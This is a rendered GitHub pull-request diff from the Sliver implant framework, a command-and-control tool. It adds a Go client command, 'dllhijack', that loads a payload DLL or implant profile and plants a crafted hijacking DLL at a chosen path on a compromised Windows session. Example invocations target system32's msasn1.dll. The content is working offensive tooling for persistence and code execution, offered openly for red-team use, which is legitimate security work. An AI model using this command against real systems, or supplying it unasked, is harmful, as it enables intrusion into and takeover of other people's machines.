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Merge pull request #472 from BishopFox/dll-hijack
Add dllhijack command
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| Original file line number | Diff line number | Diff line change |
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| DLL Hijack | ||
| =========== | ||
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| Implements command related to `dllhijack`. |
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| Original file line number | Diff line number | Diff line change |
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| @@ -0,0 +1,97 @@ | ||
| package dllhijack | ||
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| /* | ||
| Sliver Implant Framework | ||
| Copyright (C) 2021 Bishop Fox | ||
| This program is free software: you can redistribute it and/or modify | ||
| it under the terms of the GNU General Public License as published by | ||
| the Free Software Foundation, either version 3 of the License, or | ||
| (at your option) any later version. | ||
| This program is distributed in the hope that it will be useful, | ||
| but WITHOUT ANY WARRANTY; without even the implied warranty of | ||
| MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | ||
| GNU General Public License for more details. | ||
| You should have received a copy of the GNU General Public License | ||
| along with this program. If not, see <https://www.gnu.org/licenses/>. | ||
| */ | ||
|
|
||
| import ( | ||
| "context" | ||
| "fmt" | ||
| "io/ioutil" | ||
|
|
||
| "github.com/bishopfox/sliver/client/console" | ||
| "github.com/bishopfox/sliver/protobuf/sliverpb" | ||
| "github.com/desertbit/grumble" | ||
| ) | ||
|
|
||
| // dllhijack --ref-path c:\windows\system32\msasn1.dll --file /tmp/runner.dll TARGET_PATH | ||
| // dllhijack --ref-path c:\windows\system32\msasn1.dll --profile dll TARGET_PATH | ||
| // dllhijack --ref-path c:\windows\system32\msasn1.dll --ref-file /tmp/ref.dll --profile dll TARGET_PATH | ||
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| // DllHijackCmd -- implements the dllhijack command | ||
| func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) { | ||
| var ( | ||
| localRefData []byte | ||
| targetDLLData []byte | ||
| err error | ||
| ) | ||
| session := con.ActiveSession.GetInteractive() | ||
| if session == nil { | ||
| return | ||
| } | ||
|
|
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| targetPath := ctx.Args.String("target-path") | ||
| referencePath := ctx.Flags.String("reference-path") | ||
| localFile := ctx.Flags.String("file") | ||
| profileName := ctx.Flags.String("profile") | ||
| localReferenceFilePath := ctx.Flags.String("reference-file") | ||
|
|
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| if referencePath == "" { | ||
| con.PrintErrorf("Please provide a path to the reference DLL on the target system\n") | ||
| return | ||
| } | ||
|
|
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| if localReferenceFilePath != "" { | ||
| localRefData, err = ioutil.ReadFile(localReferenceFilePath) | ||
| if err != nil { | ||
| con.PrintErrorf("Could not load the reference file from the client: %s\n", err) | ||
| return | ||
| } | ||
| } | ||
|
|
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| if localFile != "" { | ||
| if profileName != "" { | ||
| con.PrintErrorf("please use either --profile or --File") | ||
| return | ||
| } | ||
| targetDLLData, err = ioutil.ReadFile(localFile) | ||
| if err != nil { | ||
| con.PrintErrorf("Error: %s\n", err) | ||
| return | ||
| } | ||
| } | ||
|
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| ctrl := make(chan bool) | ||
| msg := fmt.Sprintf("Crafting and planting DLL at %s ...", targetPath) | ||
| con.SpinUntil(msg, ctrl) | ||
| _, err = con.Rpc.HijackDLL(context.Background(), &sliverpb.DllHijackReq{ | ||
| ReferenceDLLPath: referencePath, | ||
| TargetLocation: targetPath, | ||
| ReferenceDLL: localRefData, | ||
| TargetDLL: targetDLLData, | ||
| Request: con.ActiveSession.Request(ctx), | ||
| ProfileName: profileName, | ||
| }) | ||
| ctrl <- true | ||
| <-ctrl | ||
| if err != nil { | ||
| con.PrintErrorf("Error: %s\n", err) | ||
| return | ||
| } | ||
|
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| con.PrintInfof("DLL uploaded to %s\n", targetPath) | ||
| } |
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